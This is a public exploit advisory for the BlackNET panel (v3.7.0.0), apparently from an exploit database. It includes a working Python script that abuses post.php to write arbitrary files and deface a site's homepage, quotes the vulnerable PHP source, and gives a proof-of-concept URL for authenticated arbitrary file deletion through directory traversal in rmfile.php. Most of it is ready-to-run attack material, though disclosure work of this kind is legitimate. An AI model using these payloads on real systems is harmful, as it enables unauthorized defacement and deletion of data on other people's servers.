# Exploit Title: BlackNET - Multiple Vulnerabilities # Exploit Author: bRpsd # Date: 20/09/2024 # Vendor Homepage: https://github.com/AndroVirus # Software Link: https://github.com/AndroVirus/BlackNET/ # Version: v3.7.0.0 # Tested on: MacOS - Xampp # CVE: NA import requests # Define the target URL for the POST request post_url = "http://localhost/x/BlackNET/BlackNET%20Panel/post.php" # Defaces the homepage payload = "Nothing to see here." data = { 'folder_name': 'www', # this can create any folder on the server 'file_name': 'index.html', # Name of the file to be created 'data': payload # The payload being tested } # Send the POST request response = requests.post(post_url, data=data) # Check the response if response.status_code == 200: print("Request successful. Check if 'file' was created.") else: print(f"Request failed with status code: {response.status_code}") # Vulnerable code: /BlackNET/BlackNET%20Panel/post.php # header('Content-type: text/html; charset=utf-8'); # # require_once 'config/config.php'; # require_once APP_PATH . 'classes/POST.php'; # # if ($_SERVER['REQUEST_METHOD'] == "POST") { # $POST = new BlackNET\POST(); # $folder_name = isset($_POST['folder_name']) && $_POST['folder_name'] != "" ? $_POST['folder_name'] : 'www'; # $file_name = isset($_POST['file_name']) ? $_POST['file_name'] : "unknown.txt"; # # $data = $POST->sanitize($_POST['data']); # # $POST->prepare($folder_name, $file_name, $data); # # $POST->write(); # ########################################################################################### # Arbitrary File Deletion & Directory Traversal [Authenticated] # File: rmfile.php # Parameter: fname # Vul Code: #<?php # require_once 'session.php'; #$msg = ""; #$id = ""; #if ($_SERVER['REQUEST_METHOD'] == "POST") { # $files = $_POST['file']; # $vicid = $utils->sanitize($_POST['vicid']); # if ($auth->checkToken($_POST['csrf'], $_SESSION['csrf'])) { # foreach ($files as $file) { #if (strpos($file, "../")) { # $id = $vicid; # $msg = "error"; # } # $filename = $utils->sanitize($file); # $real_path = realpath("upload" . "/" . $vicid . "/" . $filename); # if (file_exists($real_path)) { # unlink($real_path); # # # Proof Of Concept: # http://localhost/x/BlackNET/BlackNET%20Panel/rmfile.php?fname=../favico.png&vicid=&csrf=95a6ae14d491e482b4370da1fd74f69891058f12472e6510e373889d99d84c3c